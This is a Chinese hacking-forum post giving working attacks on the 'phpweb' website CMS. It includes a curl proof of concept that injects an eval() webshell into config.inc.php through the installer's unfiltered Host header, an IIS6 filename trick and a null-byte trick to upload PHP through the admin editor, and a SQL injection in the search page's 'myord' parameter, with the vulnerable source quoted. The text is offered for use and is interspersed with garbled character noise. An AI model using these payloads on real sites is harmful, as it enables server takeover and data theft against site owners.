找回密码
 立即注册
查看: 3186|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:! ^$ p; B" B. I( N/ |

  B/ A" ^. @9 W# j9 m4 p; t之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
- k" ^3 @  w2 d8 N0 Y! K
* @2 `: i' `9 t% \9 |) n鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件& w7 a5 T1 p1 M" T) Y9 c
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
+ m- _( h, @2 V" D3 E$ U- O 9 C+ @. D2 r1 v/ j. p  s  p  a
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 W. t- S/ R) g; d1 e" J2 ~( t
1 Q/ V( k1 H$ C, h6 p
分析:0 F, c. d' b  \% H3 }

7 P! |$ H7 K6 ] $ M+ P  b* n  X8 r! ^
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
) ~1 [- G1 h* J# u8 D! c % W& E( G9 F5 U: ~, S' V$ d$ k3 z
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
* M2 B1 y! z( A                                            $filestr=str_replace(" ","",$filestr);/ h( W- P8 o3 y* K  C7 g
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* R/ Y/ R( g1 h                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
( ^; l: k, x* i1 n' E                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);7 K( U$ q& ]% l
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);, e- t( i- s- r; r1 ~
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);. p/ L% x4 l" C# Z! q
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
; q+ q, u. a% q6 b: Y/ Y3 ~  `  M. n                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
1 `  ?* z3 |$ D8 K" i, w  g % ]5 R7 s4 |% @, T+ O( ^
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
- C" D1 G* H" r$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 O! `8 U+ C) ~9 ^& {  ^
4 T! o* z% \; B+ Cpoc:
2 N6 S' S. R, S% B; D8 B' i 0 u- d" u" j% u: n2 X
?
- I' T, V! B1 j  S& p8 ]% ]$ S1
8 J' V% B1 }8 Dcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"8 |2 J+ m' S, g9 J3 x8 u
shell地址: /config.inc.php1 a9 O( w8 U6 G; ~( b
跟之前的 phpcms一样 需要远程数据库+ L' t, |3 C8 Z# J8 A! a: F- b! [

" q1 Y, C8 o# P) J+ @/ s% B——————————————————–' N8 N6 T* h( V" n7 r
上传漏洞(需要进后台):
$ i% \! L$ I+ w5 U0 p& ^漏洞文件: /kedit/upload_cgi/upload.php/ M1 B1 r6 X6 U8 k
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
# w( S, _, W+ ~( a% r: G+ p! x
# w8 H8 E: C3 J2 ^9 i
) q% C& _$ x6 H1 p6 _<?php
3 l& o5 M' b4 @7 {' `2 J( M    define("ROOTPATH", "../../");) J  h9 d& |0 b! Q
    include(ROOTPATH."includes/admin.inc.php");! W) o+ v. G( g; v. X1 Y$ |
    NeedAuth(0);
3 }, j2 @8 X- ~7 m; }; r3 B% ] - k" D$ B2 q* }7 [: T
    $dt=date("Ymd",time());' S" Q4 A, E) W  Q) S
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){2 O; g% M3 G* O
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);! g* q. ?7 `& k; W4 A
    }1 w& c4 Y5 ]0 ^: [! |

  t2 ?: E; H+ }. n    //文件保存目录路径, I9 V+ d' d( V
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
; y; c( w! u" |5 h: B/ Y9 l, E    echo $save_path;* L) n& m, |, u
    //文件保存目录URL
  n" O' n3 z% ^$ Y5 e    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
$ O; m/ J/ k8 n. N # A# e8 W- Q+ ?3 g0 l
    //定义允许上传的文件扩展名
. p: o. K- k! n; U    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
: Z/ c9 [: A* Y3 b+ h3 G' x
& L  U' q) S" K- \) r2 c( @    //最大文件大小
4 i7 V( M5 C4 r" T0 `; R% i" @; B! R    $max_size = 1000000;
: l6 D1 r) l* [: G3 Y  {/ _
$ g% d" |3 p! ]# Y    //更改目录权限  a( Z6 }7 s0 k9 _$ x, ]4 O  }
    @mkdir($save_path, 0777);
# J& P7 q9 E  _: Z 0 ]$ J" V  @% G2 J0 E
    //文件的全部路径
" l( y7 o  s4 j  O3 S* g2 b    $file_path = $save_path.$_POST['fileName'];   //保存文件名
' ~' Q: V* S3 R6 K# g7 N+ e0 d
" k* F3 y; E" }/ t, b    //文件URL
2 a) e; a5 U, r( @* f) c    $file_url = $save_url.$_POST['fileName'];
  r  K6 n, @& S//有上传文件时' A3 r5 B% o; t4 N# W6 I8 o
    if (empty($_FILES) === false) {4 U  f# B! @0 }( {, v/ I1 c
! X  q2 R" c' C. u
            //原文件名( R9 C% f, d4 Y, f2 e
            $file_name = $_FILES['fileData']['name'];3 N6 C) m4 v- u( u% f0 A/ j. G
            //服务器上临时文件名
1 T4 x) |* U) i- J/ Q6 t) y            $tmp_name = $_FILES['fileData']['tmp_name'];! [1 z# P6 C5 T7 r
            //文件大小
  R: [  t1 Q  V8 l$ w            $file_size = $_FILES['fileData']['size'];
( t% K% n$ F: H% M0 e+ y" @3 F( o2 o            //检查目录
6 N0 e- {$ E' ?, A/ l# U            if (@is_dir($save_path) === false) {
3 z8 N4 G- ~2 u) i) _* d- w+ [                    alert("上传目录不存在。");
7 j+ P) Y! F( o5 S0 ]% Z            }
7 S# y/ D- q: X9 U- k            //检查目录写权限7 q6 `. G2 t% S
            if (@is_writable($save_path) === false) {
0 H" v. l5 D- w/ ~) y2 B6 v3 j/ j                    alert("上传目录没有写权限。");
0 n* [( D* W8 p: o/ f  T& ~            }
" P5 `* c1 @! Z" _4 q9 Y1 `            //检查是否已上传
" m. P- ?/ C' F! A! f            if (@is_uploaded_file($tmp_name) === false) {
5 v" H8 a) Y" k: G                    alert("临时文件可能不是上传文件。");
5 l! a4 t' j1 Y0 `& @            }3 h/ d8 E( S+ ]2 I3 j
            //检查文件大小: j& W3 B9 q1 [; R0 j$ F; w; o3 R
            if ($file_size > $max_size) {$ q7 L/ |8 a, T- ^
                    alert("上传文件大小超过限制。");
0 I8 ~7 r' r! {; |' U            }
+ g! Q! b: w7 @" Q; F% l            //获得文件扩展名5 ?3 Q, H/ q" M% j
            $temp_arr = explode(".", $_POST['fileName']);, w8 B2 u' `% G; n9 h2 X" v
            $file_ext = array_pop($temp_arr);1 D6 C6 J- T$ ~: |$ r% s
            $file_ext = trim($file_ext);- X+ x2 h5 H9 G' D
            $file_ext = strtolower($file_ext);
$ V- ~8 @- v6 x' T! y9 S - k+ y* e& }7 _2 A* N& O# s  s( Z
            //检查扩展名   1 h0 j$ @% L* C# e. B( y+ t$ O
            if (in_array($file_ext, $ext_arr) === false) {     
& m! Y8 K1 F) S                    alert("上传文件扩展名是不允许的扩展名。");$ X: q/ ^- }( j8 Z. F0 p
            }
+ ]% N8 ^5 M" W6 W + V+ ~+ W5 h  _( p% j, v
            //移动文件   2 u, N9 F. j4 {+ U' |, ?# M4 N( O
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
, E9 n- r% Q4 L1 J* Y. V  a0 C            if (move_uploaded_file($tmp_name, $file_path) === false) {% j8 v5 M9 `' |* P( V1 [9 c
                    alert("上传文件失败。");, c) l# C6 ]+ B# f$ k' o
            }/ [% q3 M! L' n  M% H
  ^' c6 `3 g- U/ J1 b: g
            @chmod($file_path,0666);
0 G# O+ c# C/ [! R! b, [- Y 5 H& N! U+ T! W1 c3 D0 G
    ?>
. _! X4 D; Q/ J, @抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
" T$ `! M. }  U: {; G! z
6 b+ x7 a5 k  oapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
$ X1 F5 G; \6 J& g. G8 |* r
& p2 f% J0 u6 i& B——————————————————: x0 O4 A. W* U3 ^; v
注入漏洞:
0 v0 c& {! y) t+ \& r漏洞文件:search/module/search.php6 h9 Z; t  S. E' V& `8 S9 s! n, {
/search/index.php?key=1&myord=1 [sqlinjection]
, I0 ^' v( n) }) H 5 b8 `, T/ b3 `2 E0 s6 }
9 [1 N' g3 m! f8 F/ i
<?php
; J& X' I" {4 m* }1 A! }2 |   //       ... 省略 n 行...& T) G: j: @, T3 D; J  p0 J
   //第18行:8 x9 l8 F* y& y- J9 i: W
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响+ h) [; K# G; Q# q: f
           $page=htmlspecialchars($_GET["page"]);
$ k  \. G$ c$ C9 i+ o5 j! A           $myord=htmlspecialchars($_GET["myord"]);
( W) [& q3 A7 `4 M- n* Y) [/ n 4 D9 o  {) H% p  g; D" J% e
   //       ... 省略 n 行...6 j! i2 G% G/ K7 v$ |" G3 O
   $key,$myord 两个参数带入查询
" y! M/ }9 P. e1 M3 U) d! K   //第47行 $key:' h- a0 o9 G% M; I7 Z
; J3 g' ~; o) e! h8 X
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
+ o- l# h1 w3 ^" n8 Z
$ x1 F5 q" [" S( N6 _6 F9 P# Q   //第197行 $myord
, ?. F) w- G+ M- Y( c7 @; k   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
* Y6 C- j7 W9 s/ W. f
" T# G' }4 L/ v: c- ]   ?>9 \, B6 g2 l8 u- _+ W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表